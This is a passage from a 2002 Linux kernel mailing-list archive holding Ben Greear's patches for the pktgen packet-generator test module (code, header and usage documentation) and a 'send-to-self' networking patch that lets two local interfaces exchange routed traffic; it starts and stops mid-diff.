(strcmp(rv->name, name) == 0) { + break; + } + rv = rv->next; + } + pg_unlock_thread_list(__FUNCTION__); + return rv; +}/* pg_find_thread */ + + +static int pg_add_thread_info(const char* name) { + struct pktgen_thread_info* pg_thread = NULL; + + if (strlen(name) > 31) { + printk("pktgen ERROR: Thread name cannot be more than 31 characters.\n"); + return -EINVAL; + } + + if (pg_find_thread(name)) { + printk("pktgen ERROR: Thread: %s already exists\n", name); + return -EINVAL; + } + + pg_thread = (struct pktgen_thread_info*)(kmalloc(sizeof(struct pktgen_thread_info), GFP_KERNEL)); + if (!pg_thread) { + printk("pktgen: ERROR: out of memory, can't create new thread.\n"); + return -ENOMEM; + } + + memset(pg_thread, 0, sizeof(struct pktgen_thread_info)); + strcpy(pg_thread->name, name); + spin_lock_init(&(pg_thread->pg_threadlock)); + pg_thread->in_use = 1; + pg_thread->max_before_softirq = 100; + + sprintf(pg_thread->fname, "net/%s/%s", PG_PROC_DIR, pg_thread->name); + pg_thread->proc_ent = create_proc_entry(pg_thread->fname, 0600, 0); + if (!pg_thread->proc_ent) { + printk("pktgen: Error: cannot create %s procfs entry.\n", pg_thread->fname); + kfree(pg_thread); + return -EINVAL; + } + pg_thread->proc_ent->read_proc = proc_pg_thread_read; + pg_thread->proc_ent->write_proc = proc_pg_thread_write; + pg_thread->proc_ent->data = (void*)(pg_thread); + + pg_thread->next = pktgen_threads; + pktgen_threads = pg_thread; + + /* Start the thread running */ + start_pktgen_kthread(pg_thread); + + return 0; +}/* pg_add_thread_info */ + + +/* interface_info must be stopped and on the pg_thread stopped list + */ +static int pg_rem_interface_info(struct pktgen_thread_info* pg_thread, + struct pktgen_interface_info* info) { + if (info->do_run_run) { + printk("WARNING: trying to remove a running interface, stopping it now.\n"); + pg_stop_interface(pg_thread, info); + } + + /* Diss-associate from the interface */ + check_remove_device(info); + + /* Clean up proc file system */ + if (strlen(info->fname)) { + remove_proc_entry(info->fname, NULL); + } + + pg_lock(pg_thread, __FUNCTION__); + { + /* Remove from the stopped list */ + struct pktgen_interface_info* p = pg_thread->stopped_if_infos; + if (p == info) { + pg_thread->stopped_if_infos = p->next; + p->next = NULL; + } + else { + while (p) { + if (p->next == info) { + p->next = p->next->next; + info->next = NULL; + break; + } + p = p->next; + } + } + + info->pg_thread = NULL; + } + pg_unlock(pg_thread, __FUNCTION__); + + return 0; +}/* pg_rem_interface_info */ + + +static int __init pg_init(void) { + int i; printk(version); + + /* Initialize our global variables */ + for (i = 0; iread_proc = proc_pg_read; - pg_proc_ent->write_proc = proc_pg_write; - pg_proc_ent->data = 0; - - pg_busy_proc_ent = create_proc_entry("net/pg_busy", 0, 0); - if (!pg_busy_proc_ent) { - printk("pktgen: Error: cannot create net/pg_busy procfs entry.\n"); - remove_proc_entry("net/pg", NULL); - return -ENOMEM; - } - pg_busy_proc_ent->read_proc = proc_pg_busy_read; - pg_busy_proc_ent->data = 0; - return 0; -} + create_proc_dir(); + + sprintf(module_fname, "net/%s/pgctrl", PG_PROC_DIR); + module_proc_ent = create_proc_entry(module_fname, 0600, 0); + if (!module_proc_ent) { + printk("pktgen: Error: cannot create %s procfs entry.\n", module_fname); + return -EINVAL; + } + module_proc_ent->read_proc = proc_pg_ctrl_read; + module_proc_ent->write_proc = proc_pg_ctrl_write; + module_proc_ent->proc_fops = &(pktgen_fops); /* IOCTL hook */ + module_proc_ent->data = NULL; + + /* Register us to receive netdevice events */ + register_netdevice_notifier(&pktgen_notifier_block); + + /* Register handler */ + handle_pktgen_hook = pktgen_receive; + + for (i = 0; i"); MODULE_DESCRIPTION("Packet Generator tool"); MODULE_LICENSE("GPL"); -MODULE_PARM(pg_count, "i"); -MODULE_PARM(pg_ipg, "i"); -MODULE_PARM(pg_cpu_speed, "i"); -MODULE_PARM(pg_multiskb, "i"); +MODULE_PARM(pg_count_d, "i"); +MODULE_PARM(pg_ipg_d, "i"); +MODULE_PARM(pg_thread_count, "i"); +MODULE_PARM(pg_multiskb_d, "i"); +MODULE_PARM(debug, "i"); --- linux-2.4.19/net/core/pktgen.h Wed Dec 31 17:00:00 1969 +++ linux-2.4.19.dev/net/core/pktgen.h Mon Sep 16 23:53:55 2002 @@ -0,0 +1,240 @@ +/* -*-linux-c-*- + * $Id: pg_2.4.19.patch,v 1.5 2002/09/17 07:01:55 greear Exp $ + * pktgen.c: Packet Generator for performance evaluation. + * + * See pktgen.c for details of changes, etc. +*/ + + +#ifndef PKTGEN_H_INCLUDE_KERNEL__ +#define PKTGEN_H_INCLUDE_KERNEL__ + + +/* The buckets are exponential in 'width' */ +#define LAT_BUCKETS_MAX 32 + +#define IP_NAME_SZ 32 + +/* Keep information per interface */ +struct pktgen_interface_info { + char ifname[32]; + + /* Parameters */ + + /* If min != max, then we will either do a linear iteration, or + * we will do a random selection from within the range. + */ + __u32 flags; + +#define F_IPSRC_RND (1<<0) /* IP-Src Random */ +#define F_IPDST_RND (1<<1) /* IP-Dst Random */ +#define F_UDPSRC_RND (1<<2) /* UDP-Src Random */ +#define F_UDPDST_RND (1<<3) /* UDP-Dst Random */ +#define F_MACSRC_RND (1<<4) /* MAC-Src Random */ +#define F_MACDST_RND (1<<5) /* MAC-Dst Random */ +#define F_SET_SRCMAC (1<<6) /* Specify-Src-Mac + (default is to use Interface's MAC Addr) */ +#define F_SET_SRCIP (1<<7) /* Specify-Src-IP + (default is to use Interface's IP Addr) */ +#define F_TXSIZE_RND (1<<8) /* Transmit size is random */ + + int min_pkt_size; /* = ETH_ZLEN; */ + int max_pkt_size; /* = ETH_ZLEN; */ + int nfrags; + __u32 ipg; /* Default Interpacket gap in nsec */ + __u64 count; /* Default No packets to send */ + __u64 sofar; /* How many pkts we've sent so far */ + __u64 tx_bytes; /* How many bytes we've transmitted */ + __u64 errors; /* Errors when trying to transmit, pkts will be re-sent */ + + /* runtime counters relating to multiskb */ + __u64 next_tx_ns; /* timestamp of when to tx next, in nano-seconds */ + + __u64 fp; + __u32 fp_tmp; + int last_ok; /* Was last skb sent? + * Or a failed transmit of some sort? This will keep + * sequence numbers in order, for example. + */ + /* Fields relating to receiving pkts */ + __u32 last_seq_rcvd; + __u64 ooo_rcvd; /* out-of-order packets received */ + __u64 pkts_rcvd; /* packets received */ + __u64 dup_rcvd; /* duplicate packets received */ + __u64 bytes_rcvd; /* total bytes received, as obtained from the skb */ + __u64 seq_gap_rcvd; /* how many gaps we received. This coorelates to + * dropped pkts, except perhaps in cases where we also + * have re-ordered pkts. In that case, you have to tie-break + * by looking at send v/s received pkt totals for the interfaces + * involved. + */ + __u64 non_pg_pkts_rcvd; /* Count how many non-pktgen skb's we are sent to check. */ + __u64 dup_since_incr; /* How many dumplicates since the last seq number increment, + * used to detect gaps when multiskb > 1 + */ + int avg_latency; /* in micro-seconds */ + int min_latency; + int max_latency; + __u64 latency_bkts[LAT_BUCKETS_MAX]; + __u64 pkts_rcvd_since_clear; /* with regard to clearing/resetting the latency logic */ + + __u64 started_at; /* micro-seconds */ + __u64 stopped_at; /* micro-seconds */ + __u64 idle_acc; + __u32 seq_num; + + int multiskb; /* Use multiple SKBs during packet gen. If this number + * is greater than 1, then that many coppies of the same + * packet will be sent before a new packet is allocated. + * For instance, if you want to send 1024 identical packets + * before creating a new packet, set multiskb to 1024. + */ + int peer_multiskb; /* Helps detect drops when multiskb > 1 on peer */ + int do_run_run; /* if this changes to false, the test will stop */ + + char dst_min[IP_NAME_SZ]; /* IP, ie 1.2.3.4 */ + char dst_max[IP_NAME_SZ]; /* IP, ie 1.2.3.4 */ + char src_min[IP_NAME_SZ]; /* IP, ie 1.2.3.4 */ + char src_max[IP_NAME_SZ]; /* IP, ie 1.2.3.4 */ + + /* If we're doing ranges, random or incremental, then this + * defines the min/max for those ranges. + */ + __u32 saddr_min; /* inclusive, source IP address */ + __u32 saddr_max; /* exclusive, source IP address */ + __u32 daddr_min; /* inclusive, dest IP address */ + __u32 daddr_max; /* exclusive, dest IP address */ + + __u16 udp_src_min; /* inclusive, source UDP port */ + __u16 udp_src_max; /* exclusive, source UDP port */ + __u16 udp_dst_min; /* inclusive, dest UDP port */ + __u16 udp_dst_max; /* exclusive, dest UDP port */ + + __u32 src_mac_count; /* How many MACs to iterate through */ + __u32 dst_mac_count; /* How many MACs to iterate through */ + + unsigned char dst_mac[6]; + unsigned char src_mac[6]; + + __u32 cur_dst_mac_offset; + __u32 cur_src_mac_offset; + __u32 cur_saddr; + __u32 cur_daddr; + __u16 cur_udp_dst; + __u16 cur_udp_src; + __u32 cur_pkt_size; + + __u8 hh[14]; + /* = { + 0x00, 0x80, 0xC8, 0x79, 0xB3, 0xCB, + + We fill in SRC address later + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x00 + }; + */ + __u16 pad; /* pad out the hh struct to an even 16 bytes */ + char result[512]; + /* proc file names */ + char fname[80]; + + /* End of stuff that user-space should care about */ + + struct sk_buff* skb; /* skb we are to transmit next, mainly used for when we + * are transmitting the same one multiple times + */ + struct pktgen_thread_info* pg_thread; /* the owner */ + + struct pktgen_interface_info* next_hash; /* Used for chaining in the hash buckets */ + struct pktgen_interface_info* next; /* Used for chaining in the thread's run-queue */ + + + + struct net_device* odev; /* The out-going device. Note that the device should + * have it's pg_info pointer pointing back to this + * device. This will be set when the user specifies + * the out-going device name (not when the inject is + * started as it used to do.) + */ + + struct proc_dir_entry *proc_ent; + + int (*rcv) (struct sk_buff *skb); +}; /* pktgen_interface_info */ + + +struct pktgen_hdr { + __u32 pgh_magic; + __u32 seq_num; + struct timeval timestamp; +}; + + +/* Define some IOCTLs. Just picking random numbers, basically. */ +#define GET_PKTGEN_INTERFACE_INFO 0x7450 + +struct pktgen_ioctl_info { + char thread_name[32]; + char interface_name[32]; + struct pktgen_interface_info info; +}; + + +struct pktgen_thread_info { + struct pktgen_interface_info* running_if_infos; /* list of running interfaces, current will + * not be in this list. + */ + struct pktgen_interface_info* stopped_if_infos; /* list of stopped interfaces. */ + struct pktgen_interface_info* cur_if; /* Current (running) interface we are servicing in + * the main thread loop. + */ + + struct pktgen_thread_info* next; + char name[32]; + char fname[128]; /* name of proc file */ + struct proc_dir_entry *proc_ent; + char result[512]; + u32 max_before_softirq; /* We'll call do_softirq to prevent starvation. */ + + spinlock_t pg_threadlock; + + /* Linux task structure of thread */ + struct task_struct *thread; + + /* Task queue need to launch thread */ + struct tq_struct tq; + + /* function to be started as thread */ + void (*function) (struct pktgen_thread_info *kthread); + + /* semaphore needed on start and creation of thread. */ + struct semaphore startstop_sem; + + /* public data */ + + /* queue thread is waiting on. Gets initialized by + init_kthread, can be used by thread itself. + */ + wait_queue_head_t queue; + + /* flag to tell thread whether to die or not. + When the thread receives a signal, it must check + the value of terminate and call exit_kthread and terminate + if set. + */ + int terminate; + + int in_use; /* if 0, then we can delete or re-use this struct */ + + /* additional data to pass to kernel thread */ + void *arg; +};/* struct pktgen_thread_info */ + +/* Defined in dev.c */ +extern int (*handle_pktgen_hook)(struct sk_buff *skb); + +/* Returns < 0 if the skb is not a pktgen buffer. */ +int pktgen_receive(struct sk_buff* skb); + + +#endif --- linux-2.4.19/net/netsyms.c Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/net/netsyms.c Sat Sep 14 21:55:39 2002 @@ -90,6 +90,14 @@ extern int sysctl_max_syn_backlog; #endif +#ifdef CONFIG_NET_PKTGEN_MODULE +#warning "EXPORT_SYMBOL(handle_pktgen_hook);"; +extern int (*handle_pktgen_hook)(struct sk_buff *skb); +/* Would be OK to export as EXPORT_SYMBOL_GPL, but can't get that to work for + * some reason. --Ben */ +EXPORT_SYMBOL(handle_pktgen_hook); +#endif + /* Skbuff symbols. */ EXPORT_SYMBOL(skb_over_panic); EXPORT_SYMBOL(skb_under_panic); @@ -416,6 +424,9 @@ EXPORT_SYMBOL(netlink_kernel_create); EXPORT_SYMBOL(netlink_dump_start); EXPORT_SYMBOL(netlink_ack); +EXPORT_SYMBOL(netlink_set_nonroot); +EXPORT_SYMBOL(netlink_register_notifier); +EXPORT_SYMBOL(netlink_unregister_notifier); #if defined(CONFIG_NETLINK_DEV) || defined(CONFIG_NETLINK_DEV_MODULE) EXPORT_SYMBOL(netlink_attach); EXPORT_SYMBOL(netlink_detach); @@ -490,6 +501,7 @@ EXPORT_SYMBOL(skb_clone); EXPORT_SYMBOL(skb_copy); EXPORT_SYMBOL(netif_rx); +EXPORT_SYMBOL(netif_receive_skb); EXPORT_SYMBOL(dev_add_pack); EXPORT_SYMBOL(dev_remove_pack); EXPORT_SYMBOL(dev_get); @@ -588,4 +600,9 @@ EXPORT_SYMBOL(net_call_rx_atomic); EXPORT_SYMBOL(softnet_data); +#if defined(CONFIG_NET_RADIO) || defined(CONFIG_NET_PCMCIA_RADIO) +#include +EXPORT_SYMBOL(wireless_send_event); +#endif /* CONFIG_NET_RADIO || CONFIG_NET_PCMCIA_RADIO */ + #endif /* CONFIG_NET */ --- linux-2.4.19/Documentation/networking/pktgen.txt Fri Aug 2 17:39:42 2002 +++ linux-2.4.19.dev/Documentation/networking/pktgen.txt Sat Sep 14 21:42:29 2002 @@ -1,50 +1,118 @@ How to use the Linux packet generator module. -1. Enable CONFIG_NET_PKTGEN to compile and build pktgen.o, install it - in the place where insmod may find it. -2. Cut script "ipg" (see below). -3. Edit script to set preferred device and destination IP address. -4. Run in shell: ". ipg" -5. After this two commands are defined: - A. "pg" to start generator and to get results. - B. "pgset" to change generator parameters. F.e. - pgset "multiskb 1" use multiple SKBs for packet generation - pgset "multiskb 0" use single SKB for all transmits - pgset "pkt_size 9014" sets packet size to 9014 - pgset "frags 5" packet will consist of 5 fragments - pgset "count 200000" sets number of packets to send - pgset "ipg 5000" sets artificial gap inserted between packets - to 5000 nanoseconds - pgset "dst 10.0.0.1" sets IP destination address - (BEWARE! This generator is very aggressive!) - pgset "dstmac 00:00:00:00:00:00" sets MAC destination address - pgset stop aborts injection +1. Enable CONFIG_NET_PKTGEN to compile and build pktgen.o, install it + in the place where insmod may find it. +2. Add an interface to the kpktgend_0 thread: + echo "add_interface eth1" > /proc/net/pktgen/kpktgend_0 +2a. Add more interfaces as needed. +3. Configure interfaces by setting values as defined below. The + general strategy is: echo "command" > /proc/net/pktgen/[device] + For example: echo "multiskb 100" > /proc/net/pktgen/eth1 + + "multiskb 100" Will send 100 identical pkts before creating + new packet with new timestamp, etc. + "multiskb 0" Will create new skb for all transmits. + "peer_multiskb 100" Helps us determine dropped & dup pkts, sender's multiskb. + "min_pkt_size 60" sets packet minimum size to 60 (64 counting CRC) + "max_pkt_size 1514" sets packet size to 1514 (1518 counting CRC) + "frags 5" packet will consist of 5 fragments + "count 200000" sets number of packets to send, set to zero + for continious sends untill explicitly + stopped. + "ipg 5000" sets artificial gap inserted between packets + to 5000 nanoseconds + "dst 10.0.0.1" sets IP destination address + (BEWARE! This generator is very aggressive!) + "dst_min 10.0.0.1" Same as dst + "dst_max 10.0.0.254" Set the maximum destination IP. + "src_min 10.0.0.1" Set the minimum (or only) source IP. + "src_max 10.0.0.254" Set the maximum source IP. + "dst_mac 00:00:00:00:00:00" sets MAC destination address + "src_mac 00:00:00:00:00:00" sets MAC source address + "src_mac_count 1" Sets the number of MACs we'll range through. The + 'minimum' MAC is what you set with srcmac. + "dst_mac_count 1" Sets the number of MACs we'll range through. The + 'minimum' MAC is what you set with dstmac. + "flag [name]" Set a flag to determine behaviour. Prepend '!' to the + flag to turn it off. Current flags are: + IPSRC_RND #IP Source is random (between min/max), + IPDST_RND, UDPSRC_RND, TXSIZE_RND + UDPDST_RND, MACSRC_RND, MACDST_RND + "udp_src_min 9" set UDP source port min, If < udp_src_max, then + cycle through the port range. + "udp_src_max 9" set UDP source port max. + "udp_dst_min 9" set UDP destination port min, If < udp_dst_max, then + cycle through the port range. + "udp_dst_max 9" set UDP destination port max. + "stop" Stops this interface from transmitting. It will still + receive packets and record their latency, etc. + "start" Starts the interface transmitting packets. + "clear_counters" Clear the packet and latency counters. + +You can start and stop threads by echoing commands to the /proc/net/pktgen/pgctrl +file. Supported commands are: + "stop kpktgend_0" Stop thread 0. + "start threadXX" Start (create) thread XX. You may wish to create one thread + per CPU. - Also, ^C aborts generator. ----- cut here +You can control manage the interfaces on a thread by echoing commands to +the /proc/net/pktgen/[thread] file. Supported commands are: + "add_interface eth1" Add interface eth1 to the chosen thread. + "rem_interface eth1" Remove interface eth1 from the chosen thread. + "max_before_softirq" Maximum loops before we cause a call to do_softirq, + this is to help mitigate starvatation on the RX side. + + +You can examine various counters and parameters by reading the appropriate +proc file: + +[root@localhost lanforge]# cat /proc/net/pktgen/kpktgend_0 +VERSION-1 +Name: kpktgend_0 +Current: eth2 +Running: eth6 +Stopped: eth1 eth5 +Result: NA + + +[root@localhost lanforge]# cat /proc/net/pktgen/eth2 +VERSION-1 +Params: count 0 pkt_size: 300 frags: 0 ipg: 0 multiskb: 0 ifname "eth2" + dst_min: 172.2.1.1 dst_max: 172.2.1.6 src_min: 172.1.1.4 src_max: 172.1.1.8 + src_mac: 00:00:00:00:00:00 dst_mac: 00:00:00:00:00:00 + udp_src_min: 99 udp_src_max: 1005 udp_dst_min: 9 udp_dst_max: 9 + src_mac_count: 0 dst_mac_count: 0 + Flags: IPSRC_RND IPDST_RND UDPSRC_RND +Current: + pkts-sofar: 158835950 errors: 0 + started: 1026024703542360us elapsed: 4756326418us + idle: 1723232054307ns next_tx: 27997154666566(-3202934)ns + seq_num: 158835951 cur_dst_mac_offset: 0 cur_src_mac_offset: 0 + cur_saddr: 0x60101ac cur_daddr: 0x30102ac cur_udp_dst: 9 cur_udp_src: 966 + pkts_rcvd: 476002 bytes_rcvd: 159929440 last_seq_rcvd: 476002 ooo_rcvd: 0 + dup_rcvd: 0 seq_gap_rcvd(dropped): 0 non_pg_rcvd: 0 + avg_latency: 41us min_latency: 40us max_latency: 347us pkts_in_sample: 476002 + Buckets(us) [ 0 0 0 0 0 0 311968 164008 23 3 0 0 0 0 0 0 0 0 0 0 ] +Result: OK: ipg=0 + +[root@localhost lanforge]# cat /proc/net/pktgen/eth6 +VERSION-1 +Params: count 0 pkt_size: 300 frags: 0 ipg: 11062341 multiskb: 0 ifname "eth6" + dst_min: 90 dst_max: 90 src_min: 90 src_max: 90 + src_mac: 00:00:00:00:00:00 dst_mac: 00:00:00:00:00:00 + udp_src_min: 9 udp_src_max: 9 udp_dst_min: 9 udp_dst_max: 9 + src_mac_count: 0 dst_mac_count: 0 + Flags: +Current: + pkts-sofar: 479940 errors: 0 + started: 1026024703542707us elapsed: 4795667656us + idle: 109585100905ns next_tx: 28042807786397(-79364)ns + seq_num: 479941 cur_dst_mac_offset: 0 cur_src_mac_offset: 0 + cur_saddr: 0x0 cur_daddr: 0x0 cur_udp_dst: 9 cur_udp_src: 9 + pkts_rcvd: 160323509 bytes_rcvd: 50392479910 last_seq_rcvd: 160323509 ooo_rcvd: 0 + dup_rcvd: 0 seq_gap_rcvd(dropped): 0 non_pg_rcvd: 0 + avg_latency: 230us min_latency: 36us max_latency: 1837us pkts_in_sample: 160323509 + Buckets(us) [ 0 0 0 0 0 0 287725 2618755 54130607 98979415 80358 4226649 0 0 0 0 0 0 0 0 ] +Result: OK: ipg=11062341 -#! /bin/sh - -modprobe pktgen.o - -function pgset() { - local result - - echo $1 > /proc/net/pg - - result=`cat /proc/net/pg | fgrep "Result: OK:"` - if [ "$result" = "" ]; then - cat /proc/net/pg | fgrep Result: - fi -} - -function pg() { - echo inject > /proc/net/pg - cat /proc/net/pg -} - -pgset "odev eth0" -pgset "dst 0.0.0.0" - ----- cut here --------------030304010606000406080300-- From greearb@candelatech.com Tue Sep 17 23:42:22 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 23:42:28 -0700 (PDT) Received: from grok.yi.org (IDENT:+TvYAwGncdywiZyqnLILNQjsVzNMyxm4@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I6gLtG010503 for ; Tue, 17 Sep 2002 23:42:21 -0700 Received: from candelatech.com (IDENT:8NMxHMDbgRGAkU6EvJ1bmjg0SaQXMx9V@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8I6lMv22590; Tue, 17 Sep 2002 23:47:22 -0700 Message-ID: <3D88217A.6070702@candelatech.com> Date: Tue, 17 Sep 2002 23:47:22 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "'netdev@oss.sgi.com'" , linux-kernel Subject: [PATCH] Networking: send-to-self Content-Type: multipart/mixed; boundary="------------010703030901020509080500" X-archive-position: 251 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------010703030901020509080500 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This patch allows one to use the SO_BINDTODEVICE and a new ioctl against net_device objects to send and receive regular routed traffic between two interfaces on the same machine. It also fixes a problem when using BINDTODEVICE: the old code does not set the bound_if correctly when sending back the syn-ack during TCP connection initialization. I'm not sure how useful others will find it, but it amuses me ;) Comments and suggestions welcome. Thanks, Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear --------------010703030901020509080500 Content-Type: text/plain; name="sts_2.4.19.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="sts_2.4.19.patch" --- linux-2.4.19/include/linux/sockios.h Wed Nov 7 15:39:36 2001 +++ linux-2.4.19.dev/include/linux/sockios.h Sun Sep 15 21:10:00 2002 @@ -114,6 +114,16 @@ #define SIOCBONDINFOQUERY 0x8994 /* rtn info about bond state */ #define SIOCBONDCHANGEACTIVE 0x8995 /* update to a new active slave */ + +/* Ben's little hack land */ +#define SIOCSACCEPTLOCALADDRS 0x89a0 /* Allow interfaces to accept pkts from + * local interfaces...use with SO_BINDTODEVICE + */ +#define SIOCGACCEPTLOCALADDRS 0x89a1 /* Allow interfaces to accept pkts from + * local interfaces...use with SO_BINDTODEVICE + */ + + /* Device private ioctl calls */ /* --- linux-2.4.19/net/Config.in Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/net/Config.in Sun Sep 15 21:27:08 2002 @@ -97,6 +97,7 @@ mainmenu_option next_comment comment 'Network testing' tristate 'Packet Generator (USE WITH CAUTION)' CONFIG_NET_PKTGEN +bool 'Send-to-Self' CONFIG_NET_SENDTOSELF endmenu endmenu --- linux-2.4.19/include/net/tcp.h Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/include/net/tcp.h Sun Sep 15 21:57:07 2002 @@ -27,6 +27,7 @@ #include #include #include +#include #include #include @@ -117,8 +118,7 @@ * Now align to a new cache line as all the following members * are often dirty. */ - rwlock_t __tcp_lhash_lock - __attribute__((__aligned__(SMP_CACHE_BYTES))); + rwlock_t __tcp_lhash_lock ____cacheline_aligned; atomic_t __tcp_lhash_users; wait_queue_head_t __tcp_lhash_wait; spinlock_t __tcp_portalloc_lock; @@ -447,7 +447,6 @@ extern int sysctl_tcp_retrans_collapse; extern int sysctl_tcp_stdurg; extern int sysctl_tcp_rfc1337; -extern int sysctl_tcp_tw_recycle; extern int sysctl_tcp_abort_on_overflow; extern int sysctl_tcp_max_orphans; extern int sysctl_tcp_max_tw_buckets; @@ -520,6 +519,14 @@ struct tcp_v6_open_req v6_req; #endif } af; +#ifdef CONFIG_NET_SENDTOSELF + int bound_dev_if; /* This is so we can connect to ourselves and not collide + * in the open-request hash (the addresses and ports are the + * same, but we need two ends, so use the interface to determine + * one from the other. Active when SO_BINDTODEVICE is used. + * --Ben + */ +#endif }; /* SLAB cache for open requests. */ --- linux-2.4.19/net/ipv4/arp.c Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/net/ipv4/arp.c Sun Sep 15 21:14:43 2002 @@ -1,4 +1,4 @@ -/* linux/net/inet/arp.c +/* linux/net/inet/arp.c -*-linux-c-*- * * Version: $Id: sts_2.4.19.patch,v 1.3 2002/09/17 07:01:55 greear Exp $ * @@ -351,12 +351,26 @@ int flag = 0; /*unsigned long now; */ - if (ip_route_output(&rt, sip, tip, 0, 0) < 0) + if (ip_route_output(&rt, sip, tip, 0, 0) < 0) return 1; - if (rt->u.dst.dev != dev) { - NET_INC_STATS_BH(ArpFilter); - flag = 1; - } + + if (rt->u.dst.dev != dev) { +#ifdef CONFIG_NET_SENDTOSELF + if ((dev->priv_flags & IFF_ACCEPT_LOCAL_ADDRS) && + (rt->u.dst.dev == &loopback_dev)) { + /* OK, we'll let this special case slide, so that we can arp from one + * local interface to another. This seems to work, but could use some + * review. --Ben + */ + } + else { +#endif + NET_INC_STATS_BH(ArpFilter); + flag = 1; +#ifdef CONFIG_NET_SENDTOSELF + } +#endif + } ip_rt_put(rt); return flag; } --- linux-2.4.19/net/ipv4/fib_frontend.c Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/net/ipv4/fib_frontend.c Sun Sep 15 21:16:44 2002 @@ -233,8 +233,19 @@ if (fib_lookup(&key, &res)) goto last_resort; - if (res.type != RTN_UNICAST) - goto e_inval_res; + + if (res.type != RTN_UNICAST) { +#ifdef CONFIG_NET_SENDTOSELF + if ((res.type == RTN_LOCAL) && + (dev->priv_flags & IFF_ACCEPT_LOCAL_ADDRS)) { + /* All is OK */ + } + else +#endif + goto e_inval_res; + + } + *spec_dst = FIB_RES_PREFSRC(res); fib_combine_itag(itag, &res); #ifdef CONFIG_IP_ROUTE_MULTIPATH --- linux-2.4.19/net/ipv4/ip_output.c Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/net/ipv4/ip_output.c Sun Sep 15 21:19:45 2002 @@ -520,8 +520,18 @@ /* * Get the memory we require with some space left for alignment. */ - - skb = sock_alloc_send_skb(sk, fraglen+hh_len+15, flags&MSG_DONTWAIT, &err); + if (!(flags & MSG_DONTWAIT) || nfrags == 0) { + skb = sock_alloc_send_skb(sk, fraglen + hh_len + 15, + (flags & MSG_DONTWAIT), &err); + } else { + /* On a non-blocking write, we check for send buffer + * usage on the first fragment only. + */ + skb = sock_wmalloc(sk, fraglen + hh_len + 15, 1, + sk->allocation); + if (!skb) + err = -ENOBUFS; + } if (skb == NULL) goto error; @@ -965,7 +975,11 @@ daddr = replyopts.opt.faddr; } +#ifdef CONFIG_NET_SENDTOSELF + if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), sk->bound_dev_if)) +#else if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), 0)) +#endif return; /* And let IP do all the hard work. --- linux-2.4.19/net/ipv4/tcp_ipv4.c Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/net/ipv4/tcp_ipv4.c Sun Sep 15 21:25:42 2002 @@ -865,21 +865,36 @@ return h&(TCP_SYNQ_HSIZE-1); } +/** Netdevice ID can be wild-carded by making it zero. + */ static struct open_request *tcp_v4_search_req(struct tcp_opt *tp, struct open_request ***prevp, __u16 rport, - __u32 raddr, __u32 laddr) + __u32 raddr, __u32 laddr, + int netdevice_id) { struct tcp_listen_opt *lopt = tp->listen_opt; struct open_request *req, **prev; + /* Will only take netdevice_id into the equation if neither are + * 0. This should be backwards compatible with older code, and also + * let us connect to ourselves over external ports. Otherwise, we + * get confused about which connection is the originator v/s the + * receiver of the open request. --Ben + */ for (prev = &lopt->syn_table[tcp_v4_synq_hash(raddr, rport)]; (req = *prev) != NULL; prev = &req->dl_next) { if (req->rmt_port == rport && req->af.v4_req.rmt_addr == raddr && req->af.v4_req.loc_addr == laddr && - TCP_INET_FAMILY(req->class->family)) { + TCP_INET_FAMILY(req->class->family) +#ifdef CONFIG_NET_SENDTOSELF + && ((!netdevice_id) || (!req->bound_dev_if) || + (req->bound_dev_if == netdevice_id))) { +#else + ) { +#endif BUG_TRAP(req->sk == NULL); *prevp = prev; return req; @@ -899,7 +914,10 @@ req->retrans = 0; req->sk = NULL; req->dl_next = lopt->syn_table[h]; - +#ifdef CONFIG_NET_SENDTOSELF + req->bound_dev_if = sk->bound_dev_if; +#endif + write_lock(&tp->syn_wait_lock); lopt->syn_table[h] = req; write_unlock(&tp->syn_wait_lock); @@ -979,7 +997,8 @@ struct sock *sk; __u32 seq; int err; - + int netdevice_id = 0; + if (skb->len < (iph->ihl << 2) + 8) { ICMP_INC_STATS_BH(IcmpInErrors); return; @@ -1048,9 +1067,13 @@ if (sk->lock.users != 0) goto out; + if (skb->dev) { + netdevice_id = skb->dev->ifindex; + } + req = tcp_v4_search_req(tp, &prev, th->dest, - iph->daddr, iph->saddr); + iph->daddr, iph->saddr, netdevice_id); if (!req) goto out; @@ -1394,7 +1417,7 @@ #define want_cookie 0 /* Argh, why doesn't gcc optimize this :( */ #endif - /* Never answer to SYNs send to broadcast or multicast */ + /* Never answer to SYNs sent to broadcast or multicast */ if (((struct rtable *)skb->dst)->rt_flags & (RTCF_BROADCAST|RTCF_MULTICAST)) goto drop; @@ -1452,6 +1475,10 @@ req->af.v4_req.rmt_addr = saddr; req->af.v4_req.opt = tcp_v4_save_options(sk, skb); req->class = &or_ipv4; +#ifdef CONFIG_NET_SENDTOSELF + req->bound_dev_if = sk->bound_dev_if; +#endif + if (!want_cookie) TCP_ECN_create_request(req, skb->h.th); @@ -1587,11 +1614,12 @@ struct iphdr *iph = skb->nh.iph; struct tcp_opt *tp = &(sk->tp_pinfo.af_tcp); struct sock *nsk; - + int device_id = 